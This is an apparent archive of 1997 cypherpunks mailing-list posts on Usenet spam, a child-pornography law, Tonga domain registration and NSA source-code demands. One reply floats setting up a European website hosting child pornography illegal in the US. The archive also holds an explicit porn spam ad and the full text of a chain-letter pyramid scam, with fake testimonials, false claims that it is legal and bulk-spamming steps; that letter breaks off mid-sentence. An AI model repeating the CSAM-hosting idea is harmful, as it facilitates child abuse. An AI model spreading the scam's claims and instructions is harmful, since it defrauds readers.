bwalk.dm.com Mon Jul 14 17:14:17 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 15 Jul 1997 08:14:17 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: Message-ID: ? the Platypus {aka David Formosa} writes: > On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote: > > > Conspiracy theory: do you think the spammers are flooding the "free" > > sources of good stuff (such as usenet) to eliminate the competition, > > so people would have to pay them for same? > > Porn4porn infact confess that thats what thay are doing. I am not surprised. I wish there were a technical solution to make Usenet immune to such sabotage wihout abridging free speech. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From root at nwdtc.com Mon Jul 14 17:41:37 1997 From: root at nwdtc.com (Alan Olsen) Date: Tue, 15 Jul 1997 08:41:37 +0800 Subject: Making Imaginary Sex Illegal Message-ID: <33CAC79B.6293@nwdtc.com> http://www.wired.com/news/news/politics/story/5153.html Making Imaginary Sex Illegal by Ashley Craddock 12:05pm 14.Jul.97.PDT Is there such a thing as child porn which doesn't involve children? Logic would say no, but adherence to the rules of reason has never been a hallmark of the United States Congress, particularly when it comes to hot-button issues like child protection. So maybe it shouldn't be surprising that Congress has made it a criminal offense to depict non-obscene, sexually explicit material involving anyone who "appears to be" a minor. Maybe it shouldn't be surprising that it made it a criminal offense to advertise materials in any way that "conveys the impression" that minors will be sexually depicted. But what about the fact that Congress explicitly designed the law to make computer-simulated child porn illegal? "Besides the completely unconstitutional prohibition on using young adult actors, we're basically talking about criminalizing pseudo-pornography," says William Bennett Turner, a San Francisco First Amendment specialist. "I laughed when I first read that Congress was trying to make imaginary sex illegal. I never thought the law would pass." But in a climate in which the US president can seriously tout the myth that fashion photography kicked off a heroin craze among teenagers jonesing to jump on the fastest, hippest bandwagon, the Child Pornography Protection Act was a sure shot. And at the end of 1996, the law quietly made it a felony to engineer, sell, or even posses computer-simulated images of smutty kids, or sexually explicit depictions of real baby-faced adults. The rationale behind the Child Porn Act, introduced by Senator Orrin Hatch (R-Utah), is by and large unoriginal: Pedophiles can use child pornography - or anything that looks like child porn - to seduce kids. Moreover, child porn, whether it depicts real kids, childlike adults, or computer simulations of kids, makes pedophiles a little too hot and bothered for society's good. But the age of morphing added a new twist to the old arguments. When perverts can whip up sexual turn-ons from composites of photographs of children or even from computer graphics programs, argued supporters, a new child-porn definition is crucial. Whether those computer-age fears have any more basis in reality than your average monster-in-the-closet didn't seem to matter one whit to Congress. Testimony that the Department of Justice had "not come across any pedophiles who have actually used the morphing technology" didn't slow the bill's passage. Neither did testimony by another witness, Jeffrey Dupilka of the US Postal Service, who voiced his official opinion that pedophiles "probably" knew about morphing technologies, and were "most likely" using them, but that he didn't "know for sure." No more concrete evidence made its way into Congress before the bill passed. Now, anyone in possession of child pornography could face up to five years in prison - more if they're repeat offenders. Producers and distributors could face up to 30 years in jail for repeat offenses. Alarmed by the Child Porn Act's ramifications for films that cast young actors as sexually active kids (before your favorite porn flick, think Lolita or Romeo and Juliet) the adult entertainment industry responded almost immediately. In January, the Free Speech Coalition filed a brief against Attorney General Janet Reno, contending that the government had far overstepped the First Amendment. The acting judge decided against a trial. Both parties, he announced, could file briefs in support of their position. So on Friday, the parties filed their arguments in the United States District Court in San Francisco. As the case has evolved, the government has moved toward the stance that it didn't really mean to outlaw sexually explicit images of young adults who might look like kids. What it meant to do was protect the world from explicit kiddie morphs. It's a ridiculous position, argues Turner. So along with the American Civil Liberties Union, last week he filed an amicus brief in support of a Free Speech Coalition's suit. "There is a real difference between touching children sexually and touching computer keys to create images: the former is wrong in itself and within the power of government to prohibit; but there is nothing inherently wrongful about using either a computer or adults to create sexually explicit images," the document contends. The court is scheduled to hear oral arguments from both sides 8 August. From dformosa at st.nepean.uws.edu.au Mon Jul 14 19:35:39 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Tue, 15 Jul 1997 10:35:39 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: Message-ID: On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote: > ? the Platypus {aka David Formosa} writes: > > > Porn4porn infact confess that thats [...Spamming to destroy free > > porn...] what thay are doing. [...] > I wish there were a technical solution to make Usenet immune to such > sabotage wihout abridging free speech. (? the Platypus looks up from the reams of perl code he is writing) Dimitri what do you think NoCeMs are then? Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. Buy easter bilbies. Save the ABC Is $0.08 per day too much to pay? ex-net.scum and prouud I'm sorry but I just don't consider 'because its yucky' a convincing argument From shamrock at netcom.com Mon Jul 14 20:37:16 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 15 Jul 1997 11:37:16 +0800 Subject: Register *any* domain name Message-ID: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com> The Kingdom of Tonga has discovered a new stream of revenue. The lucrative domain name system. Say you want to get a domain name involving the words "Microsoft" or "Kodak". Or any other trademarked name. Internic won't help you. What to do? Never fear. The Kingdom of Tonga allows you to register any domain name. Trademarked or not. Their fully automated domain registration system, operating out of their San Francisco consulate, can be reached at http://www.tonic.to You can pay the registration fees online using their 128 bit SSL server. Need more than a domain name? Such as one of those hard to come by geostationary satellite orbits handed out by the ITU? TongaSat is leasing theirs! http://www.netstorage.com/kami/tongasat/index.html I just love free enterprise, --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From dlv at bwalk.dm.com Mon Jul 14 21:32:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 15 Jul 1997 12:32:50 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: Alan Olsen writes: > Making Imaginary Sex Illegal > > by Ashley Craddock > 12:05pm 14.Jul.97.PDT Is there such a thing as child porn which doesn't > involve children? Logic would say no, but adherence to the rules of > reason has never been a hallmark of the United States Congress, > particularly when it comes to hot-button issues like child protection. This has zero crypto-relevance, so I'll rant about the movies instead. Some folks on this list may have heard of the book _Lolita by Vladimir Nabokov, and/or seen the movie (directed I think by Stanley Kubrik circa 1965). A couple of years ago someone remade the movie using a 14-year-old actress. Naturally, there was no sex. Nevertheless every U.S. ditributor refused to distribute the movie expressing the fear of being charged with child pornography. And of course you heard that _The Tin Drummer_, the German movie that won the Oscar a couple of years ago, was seized in Oklahoma as being child porn. Has anyone _not_ see _The Bridge over the River Kwai_? Did you know that the sequel, _The Return to the River Kwai_, fairly successful in most countries outside the U.S., was never released in the U.S. (in theaters or on tape), perhaps because Sony owns the rights in the U.S. and found the movie offensive to the Japs? (Wait a minute, that's not child porn...) ObHack: Isn't child porn legal in some European countries? How about setting up a (free) Web site someplace like Denmark with pictures that are illegal in the U.S. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Mon Jul 14 21:32:53 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 15 Jul 1997 12:32:53 +0800 Subject: Bizarre e-mail in the orphan mailbox In-Reply-To: Message-ID: <437u0D6w165w@bwalk.dm.com> ? the Platypus {aka David Formosa} writes: > On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote: > > > ? the Platypus {aka David Formosa} writes: > > > > > Porn4porn infact confess that thats [...Spamming to destroy free > > > porn...] what thay are doing. > > > I wish there were a technical solution to make Usenet immune to such > > sabotage wihout abridging free speech. > > (? the Platypus looks up from the reams of perl code he is writing) > > Dimitri what do you think NoCeMs are then? Sigh. I've experimented with "hide" NoCeMs for traffic that in my opinion was off-topic in certain badly infested newsgroups, and wasn't quite happy. If the saboteur posts 10,000 junk articles that must be distributed before the NoCeMs are issued and applied, then he has succeeded in causing damages. "Hide" NoCeMs work fine against plan old "spam" (multi- posting a few articles), but not against deliberate flooding with tens of thousands of articles. A better idea might be "select" NoCeMs first suggested by the CancelMoose, but not implemented in any reader I know. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From stewarts at ix.netcom.com Mon Jul 14 22:01:01 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 15 Jul 1997 13:01:01 +0800 Subject: Register *any* domain name In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com> Message-ID: <3.0.2.32.19970714212102.02fa4318@popd.ix.netcom.com> At 08:26 PM 7/14/97 -0700, Lucky Green wrote: >Never fear. The Kingdom of Tonga allows you to register any domain name. >Trademarked or not. Their fully automated domain registration system, >operating out of their San Francisco consulate, can be reached at >http://www.tonic.to .. >I just love free enterprise, "Kingdom .... free enterprise" -- hmmm :-) With an automated system, you can probably _register_ any name, but you might have trouble keeping it registered. Don't know how they'd feel about obscene names, or "The-King-Is-A-Fink.to" or "Return-Minerva-Now.to".... (The Republic of Minerva was a libertarianish new country started in the 70s on the previously unclaimed Minerva Shoals, about 200 miles from Fiji and 450 miles from Tonga. The founders built up the reef to above the 1 foot above high tide level that the UN counts as "land", and were building a harbor. After they'd been open about six months, Tonga invaded and stole the place.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From shamrock at netcom.com Mon Jul 14 22:05:44 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 15 Jul 1997 13:05:44 +0800 Subject: Register *any* domain name In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com> Message-ID: <3.0.2.32.19970714214212.006c0634@netcom10.netcom.com> At 09:21 PM 7/14/97 -0700, Bill Stewart wrote: >At 08:26 PM 7/14/97 -0700, Lucky Green wrote: >>Never fear. The Kingdom of Tonga allows you to register any domain name. >>Trademarked or not. Their fully automated domain registration system, >>operating out of their San Francisco consulate, can be reached at >>http://www.tonic.to >.. >>I just love free enterprise, > >"Kingdom .... free enterprise" -- hmmm :-) >With an automated system, you can probably _register_ any name, >but you might have trouble keeping it registered. >Don't know how they'd feel about obscene names, or >"The-King-Is-A-Fink.to" or "Return-Minerva-Now.to".... They might object and revoke the domain. But they make it clear in their FAQ that they couldn't care less about trademarks. --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From marc.briceno at usa.net Mon Jul 14 22:37:00 1997 From: marc.briceno at usa.net (Marc Briceno) Date: Tue, 15 Jul 1997 13:37:00 +0800 Subject: Electronic commerce has long way to go Message-ID: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com> After watching Ian Goldberg's demo of all the neat things one can do on an US Robotics Palm Pilot PDA, I decided to purchase such a device. I headed to USR's website. The Pilot Pro is listed for $399. Always looking for a bargain, I headed to Yahoo and quickly found several "best deal" search engines. Some were better, some were worse, but they all pointed me to a number of suppliers selling the Pilot Pro for as little as $339. A $60 savings over list or my local CompUSA store. Below is my experience with the sites. The sites are listed in increasing order of amount charged for the same item. 1. No online ordering. Call us during regular East Cost business hours. 2. No online ordering. No times are given. 3. Has online ordering. CC# is sent unencrypted. 4. Has online ordering and a link to a secure server. Link is stale. 5. Has online ordering and a link to a secure server. Link times out. Guess I'll just swing by the CompUSA in the morning. This is pathetic, From KinkyBabe at germany.it.earthlink.net Tue Jul 15 14:13:15 1997 From: KinkyBabe at germany.it.earthlink.net (KinkyBabe at germany.it.earthlink.net) Date: Tue, 15 Jul 1997 14:13:15 -0700 (PDT) Subject: Youve got to see this ! Message-ID: <199702170025.GAA08056@no-where.net> If You're Under 21 - Turn Back & Delete This Now! The LARGEST SELECTION and HOTTEST XXX LIVE NUDE GIRLS! You must SEE to BELIEVE these GIRLS! LIVE STRIPPERS, TWO GIRL ACTION, ANAL SEX, ORAL SEX, ORGIES, XXX ADULT SEX, PRIVATE ONE-ON-ONE LAP DANCES, CHAT ROOM, and MORE! http://www.cumcravers.com From root at krisnix.iguana.be Mon Jul 14 23:50:40 1997 From: root at krisnix.iguana.be (kris carlier) Date: Tue, 15 Jul 1997 14:50:40 +0800 Subject: Campingsport Amsterdam In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de> Message-ID: High there, > People making other arrangements may be interested in this > tidbit from the NL tourist board. > > Campingsport Amsterdam > Jan van Galenstraat 271 > 1056 BZ Amsterdam > tel.: 020-6128911 > fax : 020-6184509 we're going there too, and one of the things we wondered was whether it might have been possible to hire a tent *locally*. I can get tents all right, but the biggest problem is transportation. I surely hope that in case you're going to rent one of their tents, delivery and pick-up is included. Have you seen a transport-ready armytent already ? ;-) Amsterdam is only 30' from Almere, by car. You do have a pick-up car don't you ? The tent won't fit into my regular subaru ;-) Our biggest cost is for transporting the tent from Belgium to Holland. Interested in a compartiment ? kr= From stewarts at ix.netcom.com Mon Jul 14 23:54:41 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 15 Jul 1997 14:54:41 +0800 Subject: Twilight Zone Re: Freeh's Testimony (FBI Seeks Domestic GAK) In-Reply-To: <199707111954.VAA02222@basement.replay.com> Message-ID: <3.0.2.32.19970714230754.02fba77c@popd.ix.netcom.com> >> Sometimes I feel like the guy on the plane in the "Twilight Zone" >> movie, who is the only one who can see the monster on the plane's >> wing that is endangering everyone's life. > >Small question: I seem to remember this film, is it the small green >monster which keeps dancing and fucking with the planes engines? You've been caught by advancing technology. In the movie version, the monster was green and scary-looking. In the original TV episode, with William Shatner as the armed passenger on the plane, the monster looked like a man in a cheap white gorilla suit :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Mon Jul 14 23:56:13 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 15 Jul 1997 14:56:13 +0800 Subject: FYI: NSA Requests Source Code From Elvis+ In-Reply-To: <19970712085043.11461.qmail@nym.alias.net> Message-ID: <3.0.2.32.19970714215422.02fa6660@popd.ix.netcom.com> >>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+, >>> the Russian networking company in which Sun has a 10 percent stake, to >>> turn over the source code of its SunScreen SKIP E+. >>Why should the US government get access to the source code of foreign >>product being imported to the US? With PGP, they'd get the source code because users insist that it be available so they know whether they can trust it. With some commercial products, they'd have to pay for a source license... At 08:50 AM 7/12/97 -0000, Stone Monkey wrote: >To me the announcement implied that the NSA wanted to compare Sun's >and Elvis+'s implementations, to verify that they are actually different. >To check that Sun didn't simply smuggle the code out and launder it >through Elvis+. They're not looking at imports (why would Elvis+'s >code be imported? It's already available domestically from Sun), >they're looking at Sun's well-publicised end-run around the crypto chilling >effect, to see if Sun perhaps cut any corners. In America, the standard Constitutionally-approved method for law enforcers to get access to private papers is to get a court to issue a warrant naming the probable cause to suspect that a crime has been committed and the particular items to be seized. If the FBI wants to accuse Sun of export violations, they can do it. Last I heard, the NSA's job didn't include law enforcement - just building tools to protect government communications, and eavesdropping on foreigners, and occasionally providing technical expertise to other government agencies. > But it's more fun to rant about the paranoid thrashings of a government > bogeyman than it is to attempt to understand the actions of the NSA, > which is not staffed by stupid people. [BOOGA BOOGA BOOGA!] Understanding their actions doesn't mean approving. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.) From shamrock at netcom.com Tue Jul 15 00:34:25 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 15 Jul 1997 15:34:25 +0800 Subject: Campingsport Amsterdam In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de> Message-ID: <3.0.2.32.19970715001745.0069eacc@netcom10.netcom.com> At 07:58 AM 7/15/97 +0200, kris carlier wrote: >we're going there too, and one of the things we wondered was whether it >might have been possible to hire a tent *locally*. I can get tents all >right, but the biggest problem is transportation. I surely hope that in >case you're going to rent one of their tents, delivery and pick-up is >included. Amsterdam isn't all that far from the camp site and you can always make a run there. I rented one of the 10x5 meter army tents used for the San Francisco Bay Area delegation from Purmerend Beemsterbugwal 12 (++ 31 299 420999) The tent is 250FL, deposit is 750FL for a total of 1000FL. See you all in Amsterdam, --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From brad at 1-global.com Tue Jul 15 17:35:03 1997 From: brad at 1-global.com (Glen) Date: Tue, 15 Jul 1997 17:35:03 -0700 (PDT) Subject: Make at Least $50,000 in Less than 90 Days !! Message-ID: <199707160034.RAA29137@toad.com> Please accept my apology if this was sent to you in error! <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> YOU ARE ABOUT TO MAKE AT LEAST $50,000- IN LESS THAN 90 DAYS READ THE ENCLOSED PROGRAM.... THEN READ IT AGAIN!... <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Dear Friend, The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it. My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!! In mid-December, I received this program via e-mail. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion, were not cost effective. They were either to difficult for me to comprehend or the initial investment was to much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year... it didn't tell me that I would have to write a book to make it. But like I was saying, in December of '92 I received this program. I didn't send for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a paper and pencil and figured it out, I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 e-mails. It only cost me about $15.00 for my time on line. The great thing about e-mail is that I didn't need any money for printing to send out the program, only the cost to fill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT#2 WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I had 196 orders for REPORT#2, 96 more than I needed. So I sat back and relaxed. By March 19th, of my e-mailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL of my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it won't work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It doesn't work you will lose out of alot of money! REPORT#2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT#1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to partiipate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you chooe to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christo pher Erickson PS. Do you have any idea what 11,700 $5 bills ($58,000) looks like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" "I had received this program before, I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was e-mailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try." Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, 'remember Alan, there is no free lunch in life. You get out of life what you put into it.' Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to e-mail to. So far this year, I have made over $63,000 using this program. I know my Dad would have been very proud of me." Alan B., Philadelphia, Pa. A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate.... because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, THE RICH GET RICHER AND THE POOR GET POORER." The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received infomation that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT IF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS!!! I have retired from the prgram after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000... and your name will be on every one of them! Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you delete this program from your mailbox, as I almost did, take alittle time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make alot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$ Let's say that you decide to start small, just to see how it goes, and we will assume that you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives .5% response. Using a good list the reponse could be much better. Also many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a .5% response, that is only 10 orders for REPORT #1. These 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those .5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The .5% response to that is 1,000 orders for REPORT# 3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The .5% response to that is 10,000 orders for REPORT# 4. Thats 10,000 five dollar bills for you. CASH!!! Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABOLUTELY NOTHING....AND TRASH THIS PROGRAM!!! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe me, many people will do that and more! By the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and e-mail is FREE!!! REPORT# 3 will show you the best methods for bulk emailing and purchasing email lists. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you will get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dream will come true. This multi-level email marketing program works perfectly...100% EVERYTIME!!! Email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW! The longer you wait, the more people will be doing business using email. Get your piece of this action!!! MULTI-LEVEL MARKETING (MLM) has finally gainEd respectability. It is being taught in the Harvard Business School, and both Stanford Research and the Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everday through Multi-Level Marketing. INSTRUCTIONS We at Erris Mail Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "BULL", [please read the program carefully.] This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling out products for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the GREATEST Multi-level Mailorder Marketing anywhere: Step(1) Order all FOUR 4 REPORTS listed by NAME AND NUMBER. Do this by ordering the REPORT from each of the 4 names listed on the next page. For each REPORT, send $5 cash and a SELF-ADDRESSED,STAMPED envelope (BUSINESS SIZE#10) to the person listed for the SPECIFIC REPORT. International orders should also include $1 extra for postage. It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same day service on all orders. STEP(2) Replace the name and address under Report# 1 with yours, moving the one that was there down to REPORT# 2. Drop the name and address under REPORT# 2 to REPORT# 3, moving the one that was there down to REPORT# 4. The name and address that was under REPORT# 4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain that you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!! STEP(3) Having made the required changes in the NAME list, save it as a (.txt) file in its own directory to be used with whatever email program you like. Again, REPORT# 3 will tell you the best methods of bulk emailing and acquiring email lists. STEP(4) Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. Thats what I did. And they love me now, more than ever. Then, email to anyone and everyone! Use your imagination! You can get email addresss from companies on the internet who specialize in email mailing lists. These are very cheap, 100,000 addresses for around $35.00. IMPORTANT: You won't get a good response if you use an old list, so always ask for a FRESH, NEW list. You will find out where to purchase these lists when you order the FOUR 4 REPORTS. ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!!! REQUIRED REPORTS ****Order each REPORT by NUMBER and NAME**** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER ______________________________________________________________________REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: CONTINENTAL ENTERPRISES P.O. BOX 1671 VENICE, CA. 90291 (includes free Bulk Emailer) ______________________________________________________________________ REPORT# 2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT# 2 FROM: FUTUREVIEW 24-4 VERMONT VIEW DR. WATERVLIET, NY 12189-1029 ______________________________________________________________________ REPORT# 3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT# 3 FROM: M.O.C. MARKETING P.O. BOX 146 GAITHERSBURG, MD 20884-0146 ______________________________________________________________________ REPORT# 4 "EVALUATING MULTI-LEVEL SALES PLANS" ORDER REPORT# 4 FROM: AUMAKUA ENTERPRISES P.O. BOX 69 MAGNOLIA, N.J. 08049 ______________________________________________________________________ CONCLUSION I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back, However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. Will YOU ignore this amazing opportunity or will you take advantage of it ? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity. If you have any questions, please feel free to write to the sender of this information. You will get a prompt and informative reply. My method is simple. I sell thouands of people a product for $5 that costs me pennies to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. This is not a chain letter or pyramid scam. At times you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!! Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractive. You are offering a legitimate product to your people. After they purchase the product from you, they reproduce more and resell them. Its simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of 4 FINANCIAL AND BUSINESS REPORTS. The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead. You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program. The concise one and two page REPORTS you will be buying can easily be reproduced at a local copy center for a cost of about 3 cents a copy. Best wishes with the program and Good Luck! "IT WAS TRULY AMAZING" "Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY,was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before." Mary Riceland, Lansing, MI. TIPS FOR SUCCESS Send for your FOUR 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST 